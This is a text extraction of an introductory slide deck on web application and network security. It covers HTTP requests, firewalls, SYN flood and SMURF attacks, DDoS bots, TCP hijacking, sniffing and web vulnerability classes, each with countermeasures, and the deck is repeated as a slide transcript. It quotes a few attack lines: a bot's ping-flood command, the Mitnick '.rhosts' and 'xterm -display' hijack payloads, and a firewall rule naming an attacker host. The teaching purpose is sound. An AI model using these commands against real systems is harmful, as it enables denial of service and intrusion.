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Web Application and
network security
Rishabh Mehan
Saying Hello !!
 To start off with the introduction lets go through few
basics
 What is a Web Application ?
 Where is it Deployed ?
 How can it be reached ?
Web Application
Protocols
 HTTP – HTTPS

 FTP – SFTP
 TCP
 SSH
Request Methods
GET

POST

Form data encoded in the URL

Data is included in the body of the
request

GET
http://www.mysite.com/kgsearch/search.php?catid=1
HTTP/1.1

POST http://www.mysite.com/kgsearch/search.php
HTTP/1.1
Host: www.mysite.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1;
en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=
0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.mysite.com/

Host: www.mysite.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1;
en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=
0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.mysite.com/

catid=1
How Request flows

Server
www.mybank.com
(64.58.76.230)

Port: 80

Client PC
(10.1.0.123)

Request
Response
Words of Wisdom
“Every program has at least two purposes: the one for
which it was written, and another for which it wasn't.”

-Alan J. Perlis
Oss   web application and network security
infrastructure
Very complex architectures,
multiple platforms, multiple
protocols

Web Application
HTTP
Network

Business
Logic

Customer
Identification

Media Store

Browser

Web Servers

Database
Server

Presentation
Layer

Wireless

Application
Server

Content
Services

Access
Controls

Transaction
Information
Core Business
Data
Why vulnerabilities
Security
Professionals
Don‟t Know The
Applications
“As a Network Security
Professional, I don‟t
know how my
companies web
applications are
supposed to work so I
deploy a protective
solution…but don‟t
know if it‟s protecting
what it‟s supposed to.”

The Web Application
Security Gap

Application
Developers and
QA Professionals
Don‟t Know
Security
“As an Application
Developer, I can
build great features
and functions while
meeting deadlines,
but I don‟t know
how to develop my
web application
with security as a
feature.”
Common security attacks and
their countermeasures
 Finding a way into the network
 Firewalls

 Exploiting software bugs, buffer overflows
 Intrusion Detection Systems

 Denial of Service
 Ingress filtering, IDS

 TCP hijacking
 IPSec

 Packet sniffing
 Encryption (SSH, SSL, HTTPS)

 Social problems
 Education
Firewalls
 Basic problem – many network applications and
protocols have security problems that are fixed over
time
 Difficult for users to keep up with changes and keep host
secure
 Solution
 Administrators limit access to end hosts by using a firewall
 Firewall is kept up-to-date by administrators
Firewalls
Internet

DMZ
Firewall

Firewall

Web server, email
server, web
proxy, etc

Intranet
Firewalls
 What does a firewall rule look like?
 Depends on the firewall used

 Example: ipfw
 /sbin/ipfw add deny tcp from cracker.evil.org
to wolf.tambov.su telnet

 Other examples: WinXP & Mac OS X have built in and
third party firewalls
 Different graphical user interfaces
 Varying amounts of complexity and power
Denial of Service
 Purpose: Make a network service unusable, usually by
overloading the server or network

 Many different kinds of DoS attacks
 SYN flooding
 SMURF
 Distributed attacks
Denial of Service
 SYN flooding attack
 Send SYN packets with bogus source address
 Why?

 Server responds with SYN ACK and keeps state
about TCP half-open connection

 Eventually, server memory is exhausted with this state

 Solution: use “SYN cookies”

 In response to a SYN, create a special “cookie” for the
connection, and forget everything else
 Then, can recreate the forgotten information when the
ACK comes in from a legitimate connection
Denial of Service
Denial of Service
 SMURF
 Source IP address of a broadcast ping is forged
 Large number of machines respond back to victim,
overloading it
Denial of Service
ICMP echo (spoofed source address of victim)
Sent to IP broadcast address
ICMP echo reply

Internet

Perpetrator

Victim
Denial of Service
 Distributed Denial of Service
 Same techniques as regular DoS, but on a much larger
scale
 Example: Sub7Server Trojan and IRC bots
 Infect a large number of machines with a “zombie” program
 Zombie program logs into an IRC channel and awaits
commands
 Example:
 Bot command: !p4 207.71.92.193
 Result: runs ping.exe 207.71.92.193 -l 65500 -n 10000
 Sends 10,000 64k packets to the host (655MB!)
 Read more at: http://grc.com/dos/grcdos.htm
TCP Attacks
 Recall how IP works…
 End hosts create IP packets and routers process them
purely based on destination address alone

 Problem: End hosts may lie about other fields which do
not affect delivery
 Source address – host may trick destination into believing
that the packet is from a trusted source
 Especially applications which use IP addresses as a simple
authentication method
 Solution – use better authentication methods
TCP Attacks
 TCP connections have associated state
 Starting sequence numbers, port numbers

 Problem – what if an attacker learns these values?
 Port numbers are sometimes well known to begin with
(ex. HTTP uses port 80)
 Sequence numbers are sometimes chosen in very
predictable ways
TCP Attacks
 If an attacker learns the associated TCP state for the
connection, then the connection can be hijacked!

 Attacker can insert malicious data into the TCP stream,
and the recipient will believe it came from the original
source
 Ex. Instead of downloading and running new program,
you download a virus and execute it
TCP Attacks
 Say hello to Alice, Bob and Mr. Big Ears
TCP Attacks
 Alice and Bob have an established TCP connection
TCP Attacks
 Mr. Big Ears lies on the path between Alice and Bob on
the network
 He can intercept all of their packets
TCP Attacks
 First, Mr. Big Ears must drop all of Alice‟s packets since
they must not be delivered to Bob (why?)

Packets
The Void
TCP Attacks
 Then, Mr. Big Ears sends his malicious packet with the
next ISN (sniffed from the network)

ISN, SRC=Alice
TCP Attacks
 What if Mr. Big Ears is unable to sniff the packets
between Alice and Bob?
 Can just DoS Alice instead of dropping her packets
 Can just send guesses of what the ISN is until it is
accepted

 How do you know when the ISN is accepted?
 Mitnick: payload is “add self to .rhosts”
 Or, “xterm -display MrBigEars:0”
TCP Attacks
 Why are these types of TCP attacks so dangerous?

Web server

Trusting web client

Malicious user
TCP Attacks
 How do we prevent this?

 IPSec
 Provides source authentication, so Mr. Big Ears cannot
pretend to be Alice
 Encrypts data before transport, so Mr. Big Ears cannot
talk to Bob without knowing what the session key is
Packet Sniffing
 Recall how Ethernet works …
 When someone wants to send a packet to some else
…

 They put the bits on the wire with the destination MAC
address …

 And remember that other hosts are listening on the wire
to detect for collisions …

 It couldn‟t get any easier to figure out what data is
being transmitted over the network!
Packet Sniffing
 How can we protect ourselves?
 SSH, not Telnet
 Many people at CMU still use Telnet and send their password in the clear
(use PuTTY instead!)
 Now that I have told you this, please do not exploit this information
 Packet sniffing is, by the way, prohibited by Computing Services

 HTTP over SSL
 Especially when making purchases with credit cards!

 SFTP, not FTP
 Unless you really don‟t care about the password or data
 Can also use KerbFTP (download from MyAndrew)

 IPSec
 Provides network-layer confidentiality
Web Application Vulnerabilities
Web application vulnerabilities occur
in multiple areas.
Application
Administration
Extension Checking
Common File Checks

Platform
Known Vulnerabilities

Application Mapping
Custom Application
Scripting

Data Extension Checking

Parameter Manipulation

Backup Checking

Reverse Directory
Transversal

Directory Enumeration
Path Truncation
Hidden Web Paths
Forceful Browsing

Cookie Manipulation

Brute Force
Application Mapping

Cookie Poisoning/Theft
Buffer Overflow
SQL Injection
Cross-site scripting
What the #@$& is happening ???
%
Info
Disclosure, 3

Info Disclosure
Axis Title

File Include

File Include

Input Valdation

Input Valdation

Auth

Auth

%

SQL Injection

SQL Injection

XSS

XSS
0

10

20

30

Axis Title

40

50
Web Application Vulnerabilities
Platform:
 Known vulnerabilities can be

Platform
Known
Vulnerabilities

exploited immediately with a
minimum amount of skill or
experience – “script kiddies”
 Most easily defendable of all
web vulnerabilities
 MUST have streamlined
patching procedures
Web Application Vulnerabilities
Administration:
Administration
Extension Checking
Common File Checks
Data Extension
Checking

•

•
•

Backup Checking
Directory
Enumeration
Path Truncation
Hidden Web Paths
Forceful Browsing

•
•

Less easily corrected than known
issues
Require increased awareness
More than just configuration, must
be aware of security flaws in actual
content
Remnant files can reveal
applications and versions in use
Backup files can reveal source code
and database connection strings
Web Application Vulnerabilities
Application Programming:

•

Application
Application Mapping
Cookie Manipulation
Custom Application
Scripting
Parameter Manipulation
Reverse Directory
Transversal
Brute Force
Application Mapping
Cookie Poisoning/Theft

Buffer Overflow
SQL Injection
Cross-site scripting

Common coding techniques do not
necessarily include security
• Input is
Administration assumed to be valid, but not tested
• Unexamined input from a browser can inject
scripts into page for replay against later
visitors
• Unhandled error messages reveal application
and database structures
• Unchecked database calls can be
„piggybacked‟ with a hacker‟s own database
call, giving direct access to business data
through a web browser
Examples
 http://demo.testfire.net/

 http://chat.wallhood.com/moving/moving/images/
How to Secure Web Applications
 Incorporate security into the lifecycle
 Apply information security principles to all
software development efforts

 Educate
 Issue awareness, Training, etc…
Are We still Secure ?

LOL
NO
Questions ?

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Oss web application and network security

  • 1. Web Application and network security Rishabh Mehan
  • 2. Saying Hello !!  To start off with the introduction lets go through few basics  What is a Web Application ?  Where is it Deployed ?  How can it be reached ?
  • 4. Protocols  HTTP – HTTPS  FTP – SFTP  TCP  SSH
  • 5. Request Methods GET POST Form data encoded in the URL Data is included in the body of the request GET http://www.mysite.com/kgsearch/search.php?catid=1 HTTP/1.1 POST http://www.mysite.com/kgsearch/search.php HTTP/1.1 Host: www.mysite.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q= 0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://www.mysite.com/ Host: www.mysite.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q= 0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://www.mysite.com/ catid=1
  • 6. How Request flows Server www.mybank.com (64.58.76.230) Port: 80 Client PC (10.1.0.123) Request Response
  • 7. Words of Wisdom “Every program has at least two purposes: the one for which it was written, and another for which it wasn't.” -Alan J. Perlis
  • 9. infrastructure Very complex architectures, multiple platforms, multiple protocols Web Application HTTP Network Business Logic Customer Identification Media Store Browser Web Servers Database Server Presentation Layer Wireless Application Server Content Services Access Controls Transaction Information Core Business Data
  • 10. Why vulnerabilities Security Professionals Don‟t Know The Applications “As a Network Security Professional, I don‟t know how my companies web applications are supposed to work so I deploy a protective solution…but don‟t know if it‟s protecting what it‟s supposed to.” The Web Application Security Gap Application Developers and QA Professionals Don‟t Know Security “As an Application Developer, I can build great features and functions while meeting deadlines, but I don‟t know how to develop my web application with security as a feature.”
  • 11. Common security attacks and their countermeasures  Finding a way into the network  Firewalls  Exploiting software bugs, buffer overflows  Intrusion Detection Systems  Denial of Service  Ingress filtering, IDS  TCP hijacking  IPSec  Packet sniffing  Encryption (SSH, SSL, HTTPS)  Social problems  Education
  • 12. Firewalls  Basic problem – many network applications and protocols have security problems that are fixed over time  Difficult for users to keep up with changes and keep host secure  Solution  Administrators limit access to end hosts by using a firewall  Firewall is kept up-to-date by administrators
  • 14. Firewalls  What does a firewall rule look like?  Depends on the firewall used  Example: ipfw  /sbin/ipfw add deny tcp from cracker.evil.org to wolf.tambov.su telnet  Other examples: WinXP & Mac OS X have built in and third party firewalls  Different graphical user interfaces  Varying amounts of complexity and power
  • 15. Denial of Service  Purpose: Make a network service unusable, usually by overloading the server or network  Many different kinds of DoS attacks  SYN flooding  SMURF  Distributed attacks
  • 16. Denial of Service  SYN flooding attack  Send SYN packets with bogus source address  Why?  Server responds with SYN ACK and keeps state about TCP half-open connection  Eventually, server memory is exhausted with this state  Solution: use “SYN cookies”  In response to a SYN, create a special “cookie” for the connection, and forget everything else  Then, can recreate the forgotten information when the ACK comes in from a legitimate connection
  • 18. Denial of Service  SMURF  Source IP address of a broadcast ping is forged  Large number of machines respond back to victim, overloading it
  • 19. Denial of Service ICMP echo (spoofed source address of victim) Sent to IP broadcast address ICMP echo reply Internet Perpetrator Victim
  • 20. Denial of Service  Distributed Denial of Service  Same techniques as regular DoS, but on a much larger scale  Example: Sub7Server Trojan and IRC bots  Infect a large number of machines with a “zombie” program  Zombie program logs into an IRC channel and awaits commands  Example:  Bot command: !p4 207.71.92.193  Result: runs ping.exe 207.71.92.193 -l 65500 -n 10000  Sends 10,000 64k packets to the host (655MB!)  Read more at: http://grc.com/dos/grcdos.htm
  • 21. TCP Attacks  Recall how IP works…  End hosts create IP packets and routers process them purely based on destination address alone  Problem: End hosts may lie about other fields which do not affect delivery  Source address – host may trick destination into believing that the packet is from a trusted source  Especially applications which use IP addresses as a simple authentication method  Solution – use better authentication methods
  • 22. TCP Attacks  TCP connections have associated state  Starting sequence numbers, port numbers  Problem – what if an attacker learns these values?  Port numbers are sometimes well known to begin with (ex. HTTP uses port 80)  Sequence numbers are sometimes chosen in very predictable ways
  • 23. TCP Attacks  If an attacker learns the associated TCP state for the connection, then the connection can be hijacked!  Attacker can insert malicious data into the TCP stream, and the recipient will believe it came from the original source  Ex. Instead of downloading and running new program, you download a virus and execute it
  • 24. TCP Attacks  Say hello to Alice, Bob and Mr. Big Ears
  • 25. TCP Attacks  Alice and Bob have an established TCP connection
  • 26. TCP Attacks  Mr. Big Ears lies on the path between Alice and Bob on the network  He can intercept all of their packets
  • 27. TCP Attacks  First, Mr. Big Ears must drop all of Alice‟s packets since they must not be delivered to Bob (why?) Packets The Void
  • 28. TCP Attacks  Then, Mr. Big Ears sends his malicious packet with the next ISN (sniffed from the network) ISN, SRC=Alice
  • 29. TCP Attacks  What if Mr. Big Ears is unable to sniff the packets between Alice and Bob?  Can just DoS Alice instead of dropping her packets  Can just send guesses of what the ISN is until it is accepted  How do you know when the ISN is accepted?  Mitnick: payload is “add self to .rhosts”  Or, “xterm -display MrBigEars:0”
  • 30. TCP Attacks  Why are these types of TCP attacks so dangerous? Web server Trusting web client Malicious user
  • 31. TCP Attacks  How do we prevent this?  IPSec  Provides source authentication, so Mr. Big Ears cannot pretend to be Alice  Encrypts data before transport, so Mr. Big Ears cannot talk to Bob without knowing what the session key is
  • 32. Packet Sniffing  Recall how Ethernet works …  When someone wants to send a packet to some else …  They put the bits on the wire with the destination MAC address …  And remember that other hosts are listening on the wire to detect for collisions …  It couldn‟t get any easier to figure out what data is being transmitted over the network!
  • 33. Packet Sniffing  How can we protect ourselves?  SSH, not Telnet  Many people at CMU still use Telnet and send their password in the clear (use PuTTY instead!)  Now that I have told you this, please do not exploit this information  Packet sniffing is, by the way, prohibited by Computing Services  HTTP over SSL  Especially when making purchases with credit cards!  SFTP, not FTP  Unless you really don‟t care about the password or data  Can also use KerbFTP (download from MyAndrew)  IPSec  Provides network-layer confidentiality
  • 34. Web Application Vulnerabilities Web application vulnerabilities occur in multiple areas. Application Administration Extension Checking Common File Checks Platform Known Vulnerabilities Application Mapping Custom Application Scripting Data Extension Checking Parameter Manipulation Backup Checking Reverse Directory Transversal Directory Enumeration Path Truncation Hidden Web Paths Forceful Browsing Cookie Manipulation Brute Force Application Mapping Cookie Poisoning/Theft Buffer Overflow SQL Injection Cross-site scripting
  • 35. What the #@$& is happening ??? % Info Disclosure, 3 Info Disclosure Axis Title File Include File Include Input Valdation Input Valdation Auth Auth % SQL Injection SQL Injection XSS XSS 0 10 20 30 Axis Title 40 50
  • 36. Web Application Vulnerabilities Platform:  Known vulnerabilities can be Platform Known Vulnerabilities exploited immediately with a minimum amount of skill or experience – “script kiddies”  Most easily defendable of all web vulnerabilities  MUST have streamlined patching procedures
  • 37. Web Application Vulnerabilities Administration: Administration Extension Checking Common File Checks Data Extension Checking • • • Backup Checking Directory Enumeration Path Truncation Hidden Web Paths Forceful Browsing • • Less easily corrected than known issues Require increased awareness More than just configuration, must be aware of security flaws in actual content Remnant files can reveal applications and versions in use Backup files can reveal source code and database connection strings
  • 38. Web Application Vulnerabilities Application Programming: • Application Application Mapping Cookie Manipulation Custom Application Scripting Parameter Manipulation Reverse Directory Transversal Brute Force Application Mapping Cookie Poisoning/Theft Buffer Overflow SQL Injection Cross-site scripting Common coding techniques do not necessarily include security • Input is Administration assumed to be valid, but not tested • Unexamined input from a browser can inject scripts into page for replay against later visitors • Unhandled error messages reveal application and database structures • Unchecked database calls can be „piggybacked‟ with a hacker‟s own database call, giving direct access to business data through a web browser
  • 40. How to Secure Web Applications  Incorporate security into the lifecycle  Apply information security principles to all software development efforts  Educate  Issue awareness, Training, etc…
  • 41. Are We still Secure ? LOL NO